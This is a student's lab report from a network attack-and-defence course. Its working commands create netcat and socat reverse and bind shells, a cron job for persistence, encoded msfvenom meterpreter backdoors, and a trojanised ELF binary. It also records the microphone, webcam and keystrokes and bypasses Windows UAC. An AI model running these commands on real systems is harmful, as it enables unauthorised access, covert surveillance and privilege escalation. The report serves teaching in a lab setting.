20192406梁健 2021-2022-2 《网络与系统攻防技术》实验二实验报告

20192406梁健 2021-2022-2 《网络与系统攻防技术》实验二实验报告

1.实验内容

(1)使用netcat获取主机操作Shell,cron启动某项任务(任务自定)

PS:cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程

(2)使用socat获取主机操作Shell, 任务计划启动

(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

2.实验过程

(1)使用netcat获取主机操作Shell,cron启动某项任务(任务自定)

1) Win获取Linux的Shell
  • Win打开监听,指令为ncat.exe -l -p 8888

  • kali反弹连接Win,指令为nc 192.168.10.181 8888 -e /bin/sh

  • Win获得Linux的Shell。可以执行指令Linux指令ls

2) cron启动某项任务
  • Win打开监听,指令为ncat.exe -l -p 8888

  • kali这里输入指令crontab -e,选择nano,在最后一行添加* * * * * /bin/netcat 192.168.10.181 8888 -e /bin/sh(每分钟获取Shell),到时间Win就获得了Shell

(2)使用socat获取Win操作Shell, 任务计划启动

1) 在Win中创建任务计划程序
  • 右击此电脑,点击管理,点击任务计划程序,再点击创建任务,填写任务名,新建一个触发器,选择按预定计划

  • 点击操作,选择socat.exe的路径,在添加参数一栏填写tcp-listen:8888 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口8888,同时把cmd.exe的stderr重定向到stdout上:

  • 完成可看到计划准备就绪,到预定时间可先发现任务已执行,会弹出socat.exe窗口

2) 在kali上执行指令获取Win的Shell
  • 此时不要关闭窗口,并在kali上输入命令socat - tcp:192.168.10.181:8888,成功获取Win的Shell

(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

1) 使用MSF meterpreter生成可执行文件
  • 生成backdoor.exe,在kali中输入命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b '\x00' LHOST=192.168.192.128 LPORT=443 -f exe > backdoor.exe

2) 使用ncat传送可执行文件
  • 在Win下执行ncat.exe -l 5201 > backdoor.exe,Win进入了接收模式,在kali中执行nc 192.168.192.1 5201 < backdoor.exe(192.168.192.1为Win的IP)

3) 通过msfconsole获取Win的Shell
  • 在kali上使用msfconsole指令进入msf控制台

  • 使用监听模块,输入use exploit/multi/handler

  • 设置payload:set payload windows/meterpreter/reverse_tcp

  • 设置反弹连接IP(kali):set LHOST 192.168.192.128

  • 设置端口:set LPORT 5201

  • 完成上面的操作后,输入指令exploit,执行Win的backdoor.exe。之后kali就获得了Win的Shell

(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  • 获取Win音频,输入指令record_mic

  • 使用摄像头进行拍照,输入指令webcam_snap

  • 记录击键过程指令keyscan_start,读取击键记录指令keyscan_dump

  • 尝试提权,查看当前用户指令getuid,提权操作指令getsystem

可以看到提权失败,因为被攻击的主机为Win10,只靠提权指令无法实现权限的提高。

  • 但是,当后门程序被改成install.exe后,提权操作指令就可以执行了。原因可能是具有迷惑性的名字被系统认为需要管理员权限才能执行。但是由于我的电脑设置了用户账户控制--从不通知,该程序会默认按管理员权限执行,即默认绕过UAC。当我调整设置后,再次执行该程序提示我是否确认,这就是没有绕过UAC。

改名及提权成功

用户权限控制

首先使用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.192.128 LPORT=1000 -f exe -o met.exe生成了无特殊命名的后门程序met.exe

然后将后门程序传到Win10上,打开控制台msfconsole,设置payload等进行初步获取shell,此时使用getsystem会失败。接着使用background切换到另一个界面,此时会话session为1

使用use exploit/windows/local/bypassuac_eventvw进入绕过uac方法路径进行进一步提权,此时使用options查看需要配置的内容,提示需要配置session,这时需要提供一个普通连接的会话,就是上面的初步连接会话1,输入set session 1,之后执行exploit,会生成一个新的会话,即session 2。此时再次提权发现提权成功了。

(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

通过网络知识可知payload是shellcode的一部分,因此基本方法是通过使用类似msfvenom -p windows/meterpreter/reverse_tcp -x ./KiTTYPortable.exe -e x86/shikata_ga_nai -i 5 -b ‘\x00’ LHOST=192.168.20.136 LPORT=443 -f exe > KiTTy_backdoor.exe这样的命令将shellcode注入pwn1中,得到新的可执行程序,让被攻击方执行来获取shell。

想要实现上面的想法,需要确定payload应该是什么?通过msfvenom -l payload命令可以查看msfvenom支持的所有payload,根据pwn1是linux下的32位文件且要获取反弹连接shell,可以找到适合的payload为linux/x86/meterpreter/reverse_tcp

通过命令msfvenom -p linux/x86/meterpreter/reverse_tcp --list-options查看payload需要配置的options,可以看到需要配置LHOSTLPORT使用默认的4444

再者由于该文件为Linux文件,所以-f后使用的参数应为elf

由上述内容,得到最终指令:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.192.128 LPORT=4444 -x ./pwn20192406 -f elf > pwn20192406shellcode

kali的执行过程和效果如下:

3.问题及解决方案

回答问题

(1)例举你能想到的一个后门进入到你系统中的可能方式?

使用钓鱼攻击,比如发给用户一个诱导邮件,让用户下载,然后植入后门程序。

(2)例举你知道的后门如何启动起来(win及linux)的方式?

win:可以将后门伪装成熟悉的软件,引诱用户点击。

linux:可以将后门放入开机自启动程序中。

(3)Meterpreter有哪些给你映像深刻的功能?

印象深刻的功能就是可以使用各种高级的payload,通过这些payload可以简单的实现各种功能,比如实现实验一正常方法要做很久且很复杂,但使用这个方法就非常简单和快速。

(4)如何发现自己有系统有没有被安装后门?

通过高级杀毒软件查杀,检查CPU资源利用无有异常,检查系统中有无特殊的文件等等。

4.学习感悟、思考等

通过本次实验我学到了很多制作后门的知识,并在实践层面将所学内容付诸实现,在实验中我通过简单的指令就可以轻松获取被攻击主机的shell连接,学习了这些知识后,我更加对现在的网络环境担忧,黑客可以通过一些便捷工具轻松攻击别人的主机,对其进行怕破坏,一旦这些犯罪分子肆意妄为,很容易对我国的各种基础设施构成潜在威胁,所以要严格管控网络空间,利用更高级的技术手段保护网络空间的安全。

posted @ 2022-04-01 16:44  20192406lj  阅读(163)  评论(0编辑  收藏  举报